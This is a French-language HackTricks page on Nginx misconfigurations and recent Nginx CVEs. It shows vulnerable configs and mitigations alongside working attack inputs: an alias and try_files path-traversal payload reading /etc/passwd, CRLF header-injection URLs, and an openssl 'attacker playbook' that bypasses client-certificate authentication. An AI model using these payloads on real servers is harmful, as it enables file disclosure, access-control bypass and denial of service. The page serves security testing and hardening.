Nginx
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Emplacement racine manquant
Lors de la configuration du serveur Nginx, la root directive joue un rôle critique en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l’exemple ci-dessous:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
Dans cette configuration, /etc/nginx est désigné comme répertoire root. Cette configuration permet d’accéder aux fichiers situés dans le répertoire root spécifié, comme /hello.txt. Cependant, il est crucial de noter qu’un seul emplacement spécifique (/hello.txt) est défini. Il n’y a pas de configuration pour l’emplacement racine (location / {...}). Cette omission signifie que la directive root s’applique globalement, permettant aux requêtes vers le chemin racine / d’accéder aux fichiers sous /etc/nginx.
Une considération de sécurité critique découle de cette configuration. Une simple requête GET, comme GET /nginx.conf, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à /etc/nginx/nginx.conf. Définir le root sur un répertoire moins sensible, comme /etc, pourrait atténuer ce risque, mais cela peut néanmoins permettre un accès non intentionnel à d’autres fichiers critiques, y compris d’autres fichiers de configuration, les access logs, et même des identifiants chiffrés utilisés pour l’authentification HTTP basic.
Alias LFI Misconfiguration
Dans les fichiers de configuration de Nginx, une inspection attentive des directives “location” est nécessaire. Une vulnérabilité connue sous le nom de Local File Inclusion (LFI) peut être introduite involontairement via une configuration qui ressemble à la suivante :
location /imgs {
alias /path/images/;
}
Cette configuration est vulnérable aux attaques LFI car le serveur interprète des requêtes comme /imgs../flag.txt comme une tentative d’accéder à des fichiers en dehors du répertoire prévu, résolvant effectivement vers /path/images/../flag.txt. Cette faille permet à des attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.
Pour atténuer cette vulnérabilité, la configuration devrait être ajustée pour :
location /imgs/ {
alias /path/images/;
}
Plus d’informations : https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Tests Accunetix :
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Restriction de chemin non sécurisée
Consultez la page suivante pour apprendre comment contourner des directives telles que :
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
Utilisation de variables non sécurisée / HTTP Request Splitting
Caution
Les variables vulnérables
$uriet$document_uri peuvent poser problème ; cela peut être corrigé en les remplaçant par$request_uri.Une regex peut aussi être vulnérable, par exemple :
location ~ /docs/([^/])? { … $1 … }- Vulnerable
location ~ /docs/([^/\s])? { … $1 … }- Not vulnerable (checking spaces)
location ~ /docs/(.*)? { … $1 … }- Not vulnerable
L’exemple ci-dessous illustre une vulnérabilité dans la configuration Nginx :
location / {
return 302 https://example.com$uri;
}
Les caractères \r (retour chariot) et \n (saut de ligne) représentent des caractères de nouvelle ligne dans les requêtes HTTP, et leurs formes encodées en URL sont %0d%0a. L’inclusion de ces caractères dans une requête (par ex., http://localhost/%0d%0aDetectify:%20clrf) vers un serveur mal configuré entraîne que le serveur émette un nouvel en-tête nommé Detectify. Cela se produit parce que la variable $uri décode les caractères de nouvelle ligne encodés en URL, ce qui conduit à un en-tête inattendu dans la réponse :
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
En savoir plus sur les risques d’injection CRLF et response splitting at https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
Also this technique is explained in this talk with some vulnerable examples and dectection mechanisms. Par exemple, pour détecter cette mauvaise configuration depuis une perspective blackbox, vous pouvez effectuer ces requêtes :
https://example.com/%20X- n’importe quel code HTTPhttps://example.com/%20H- 400 Bad Request
Si vulnérable, la première renverra une réponse car “X” est n’importe quelle méthode HTTP et la seconde renverra une erreur car H n’est pas une méthode valide. Ainsi le serveur recevra quelque chose comme : GET / H HTTP/1.1 et cela déclenchera l’erreur.
D’autres exemples de détection seraient :
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- n’importe quel code HTTPhttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
Quelques configurations vulnérables trouvées présentées dans cette conférence étaient :
- Notez comment
$uriest placé tel quel dans l’URL finale
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- Notez à nouveau que
$uriest dans l’URL (cette fois à l’intérieur d’un paramètre)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- Maintenant dans AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
N’importe quelle variable
Il a été découvert que données fournies par l’utilisateur pourraient être traitées comme une variable Nginx dans certaines circonstances. La cause de ce comportement reste quelque peu difficile à cerner, toutefois ce n’est ni rare ni simple à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, consultable ici. Une investigation plus approfondie du message d’erreur a permis d’identifier son apparition dans le SSI filter module of Nginx’s codebase, mettant en évidence que Server Side Includes (SSI) en était la cause.
Pour détecter cette mauvaise configuration, la commande suivante peut être exécutée, qui consiste à définir un en-tête referer pour tester l’affichage de la variable :
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
Les scans pour cette mauvaise configuration à travers les systèmes ont révélé plusieurs instances où des variables Nginx pouvaient être affichées par un utilisateur. Cependant, la diminution du nombre d’instances vulnérables suggère que les efforts pour corriger ce problème ont été relativement efficaces.
Utilisation de try_files avec les variables $URI$ARGS
La mauvaise configuration Nginx suivante peut conduire à une vulnérabilité LFI :
location / {
try_files $uri$args $uri$args/ /index.html;
}
Dans notre configuration, nous avons la directive try_files qui est utilisée pour vérifier l’existence de fichiers dans l’ordre spécifié. Nginx servira le premier qu’il trouvera. La syntaxe de base de la directive try_files est la suivante :
try_files file1 file2 ... fileN fallback;
Nginx vérifiera l’existence de chaque fichier dans l’ordre spécifié. Si un fichier existe, il sera servi immédiatement. Si aucun des fichiers spécifiés n’existe, la requête sera transmise à l’option de repli (fallback), qui peut être une autre URI ou une page d’erreur spécifique.
Cependant, lorsque l’on utilise les variables $uri$args dans cette directive, Nginx tentera de rechercher un fichier correspondant à l’URI de la requête combinée avec les arguments de la chaîne de requête. Ainsi, nous pouvons exploiter cette configuration :
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
Avec le payload suivant :
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
En utilisant notre payload nous échapperons au répertoire racine (défini dans la configuration Nginx) et chargerons le fichier /etc/passwd. Dans les debug logs, on peut observer comment Nginx essaie les fichiers :
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC contre Nginx en utilisant la configuration mentionnée ci‑dessus :

Lecture de la réponse brute du backend
Nginx offre une fonctionnalité via proxy_pass qui permet l’interception des erreurs et des en-têtes HTTP produits par le backend, dans le but de masquer les messages d’erreur internes et les en-têtes. Ceci est réalisé en faisant servir par Nginx des pages d’erreur personnalisées en réponse aux erreurs du backend. Cependant, des problèmes surviennent lorsque Nginx reçoit une requête HTTP invalide. Une telle requête est transmise au backend telle quelle, et la réponse brute du backend est ensuite renvoyée directement au client sans l’intervention de Nginx.
Considérons un exemple impliquant une application uWSGI :
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
Pour gérer cela, des directives spécifiques dans la configuration Nginx sont utilisées :
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: Cette directive permet à Nginx de renvoyer une réponse personnalisée pour les réponses du backend dont le code d’état est supérieur à 300. Elle garantit que, pour notre exemple d’application uWSGI, une réponse
500 Errorest interceptée et traitée par Nginx. - proxy_hide_header: Comme son nom l’indique, cette directive masque certains en-têtes HTTP envoyés au client, améliorant la confidentialité et la sécurité.
Lorsqu’une requête GET valide est effectuée, Nginx la traite normalement, renvoyant une réponse d’erreur standard sans révéler d’en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, entraînant l’exposition des réponses brutes du backend, y compris des en-têtes secrets et des messages d’erreur.
merge_slashes réglé sur off
Par défaut, la merge_slashes directive de Nginx est réglée sur on, ce qui compresse plusieurs slashs consécutifs dans une URL en un seul slash. Cette fonctionnalité, tout en simplifiant le traitement des URL, peut involontairement masquer des vulnérabilités dans les applications derrière Nginx, en particulier celles sujettes aux attaques de local file inclusion (LFI). Les experts en sécurité Danny Robinson and Rotem Bar ont souligné les risques potentiels associés à ce comportement par défaut, surtout lorsque Nginx agit en tant que reverse-proxy.
Pour atténuer ces risques, il est recommandé de désactiver la directive merge_slashes pour les applications susceptibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l’application sans modifier la structure de l’URL, évitant ainsi de masquer d’éventuels problèmes de sécurité sous-jacents.
For more information check Danny Robinson and Rotem Bar.
En-têtes de réponse Maclicious
Comme montré dans this writeup, il existe certains headers qui, s’ils sont présents dans la réponse du serveur web, modifieront le comportement du proxy Nginx. Vous pouvez les consulter in the docs:
X-Accel-Redirect: Indique à Nginx de rediriger en interne une requête vers un emplacement spécifié.X-Accel-Buffering: Contrôle si Nginx doit mettre en mémoire tampon la réponse ou non.X-Accel-Charset: Définit le jeu de caractères pour la réponse lors de l’utilisation de X-Accel-Redirect.X-Accel-Expires: Définit le temps d’expiration de la réponse lors de l’utilisation de X-Accel-Redirect.X-Accel-Limit-Rate: Limite le débit de transfert des réponses lors de l’utilisation de X-Accel-Redirect.
Par exemple, l’en-tête X-Accel-Redirect provoquera une redirection interne dans nginx. Ainsi, avoir une configuration nginx contenant quelque chose comme root / et une réponse du serveur web avec X-Accel-Redirect: .env fera que nginx enverra le contenu de /.env (Path Traversal).
Valeur par défaut dans la directive map
Dans la configuration Nginx, la directive map joue souvent un rôle dans le contrôle d’autorisation. Une erreur fréquente est de ne pas spécifier une valeur par défaut, ce qui peut conduire à un accès non autorisé. Par exemple:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Sans un default, un malicious user peut contourner la sécurité en accédant à un undefined URI dans /map-poc. The Nginx manual conseille de définir une default value pour éviter ce type de problème.
DNS Spoofing Vulnerability
DNS spoofing contre Nginx est possible dans certaines conditions. Si un attacker connaît le DNS server utilisé par Nginx et peut intercepter ses DNS queries, il peut spoof DNS records. Cette méthode, cependant, est inefficace si Nginx est configuré pour utiliser localhost (127.0.0.1) pour DNS resolution. Nginx permet de spécifier un DNS server comme suit:
resolver 8.8.8.8;
proxy_pass and internal Directives
La directive proxy_pass est utilisée pour rediriger les requêtes vers d’autres serveurs, soit en interne soit en externe. La directive internal garantit que certains emplacements ne sont accessibles qu’à l’intérieur de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter des failles de sécurité.
proxy_set_header Upgrade & Connection
Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une h2c Smuggling attack pourrait être effectuée pour accéder à des endpoints protégés/internes.
Caution
Cette vulnérabilité permettrait à un attaquant d’établir une connexion directe avec le
proxy_passendpoint (http://backend:9999dans cet exemple) dont le contenu ne sera pas vérifié par nginx.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
Notez que même si
proxy_passpointait vers un path spécifique tel quehttp://backend:9999/socket.io, la connexion sera établie avechttp://backend:9999; vous pouvez donc contacter n’importe quel autre path à l’intérieur de ce endpoint interne. Il ne fait donc aucune différence si un path est spécifié dans l’URL de proxy_pass.
HTTP/3 QUIC module remote DoS & leak (2024)
En 2024, Nginx a divulgué CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 et CVE-2024-35200, montrant qu’une seule session QUIC hostile peut faire planter les processus worker ou leak memory chaque fois que le module expérimental ngx_http_v3_module est compilé et qu’un socket listen ... quic est exposé. Les builds impactés sont 1.25.0–1.25.5 et 1.26.0, tandis que 1.27.0/1.26.1 intègrent les correctifs ; la divulgation de mémoire (CVE-2024-34161) nécessite en outre des MTU supérieurs à 4096 octets pour exposer des données sensibles (détails dans l’advisory nginx 2024 référencé ci-dessous).
Recon & exploitation hints
- HTTP/3 est opt-in, donc scannez les réponses
Alt-Svc: h3=":443"ou brute-forcez les handshakes QUIC sur UDP/443 ; une fois confirmé, fuzzez le handshake et les STREAM frames avec des payloads personnalisésquiche-client/nghttp3pour provoquer des crashs de worker et forcer log leakage. - Identifiez rapidement le support de la cible avec:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
Contournement de la reprise de session TLS de l’authentification par certificat client (CVE-2025-23419)
Un advisory de février 2025 a révélé que nginx 1.11.4–1.27.3 compilé avec OpenSSL permet de réutiliser une session TLS 1.3 d’un hôte virtuel basé sur le nom dans un autre, si bien qu’un client ayant négocié un hôte sans certificat peut rejouer le ticket/PSK pour accéder à un vhost protégé par ssl_verify_client on; et contourner complètement mTLS. Le bug se déclenche chaque fois que plusieurs hôtes virtuels partagent le même cache de session TLS 1.3 et les mêmes tickets (voir l’advisory nginx 2025 référencé ci‑dessous).
Playbook de l’attaquant
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
Si la cible est vulnérable, la deuxième négociation se complète sans présenter de certificat client, révélant des emplacements protégés.
Ce qu’il faut auditer
- Blocs
server_namemixtes qui partagentssl_session_cache shared:SSLainsi quessl_session_tickets on;. - Blocs Admin/API qui attendent mTLS mais héritent des paramètres de cache de session/tickets partagés depuis des hôtes publics.
- Automatisation qui active la reprise de session TLS 1.3 globalement (p. ex., Ansible roles) sans tenir compte de l’isolation des vhosts.
Résilience face à HTTP/2 Rapid Reset (comportement de CVE-2023-44487)
L’attaque HTTP/2 Rapid Reset (CVE-2023-44487) affecte toujours nginx lorsque les opérateurs augmentent keepalive_requests ou http2_max_concurrent_streams au-delà des valeurs par défaut : un attaquant ouvre une connexion HTTP/2, la submerge de milliers de streams, puis envoie immédiatement des trames RST_STREAM de sorte que le plafond de concurrence n’est jamais atteint tandis que le CPU continue de s’épuiser sur la logique de fermeture. Les valeurs par défaut de nginx (128 concurrent streams, 1000 keepalive requests) limitent le rayon d’impact ; pousser ces limites “de manière substantielle” rend trivial d’affamer les workers même depuis un seul client (voir le write-up de F5 référencé ci‑dessous).
Conseils de détection
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
Les hôtes qui révèlent des valeurs exceptionnellement élevées pour ces directives sont des cibles de choix : un client HTTP/2 peut boucler en créant des streams et en envoyant instantanément des frames RST_STREAM pour maintenir le CPU saturé sans atteindre la limite de concurrence.
Essayez par vous-même
Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable avec certaines des mauvaises configurations évoquées dans cet article et essayer de les trouver vous-même !
https://github.com/detectify/vulnerable-nginx
Outils d’analyse statique
GixyNG & GIXY
GixyNG (un fork mis à jour de GIXY) est un outil d’analyse des configurations Nginx, visant à trouver des vulnérabilités, des directives non sécurisées et des misconfigurations risquées. Il détecte aussi les misconfigurations affectant les performances et repère les opportunités de durcissement manquées, permettant une détection automatisée des défauts.
Nginxpwner
Nginxpwner est un outil simple pour rechercher des misconfigurations courantes de Nginx et des vulnérabilités.
Références
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

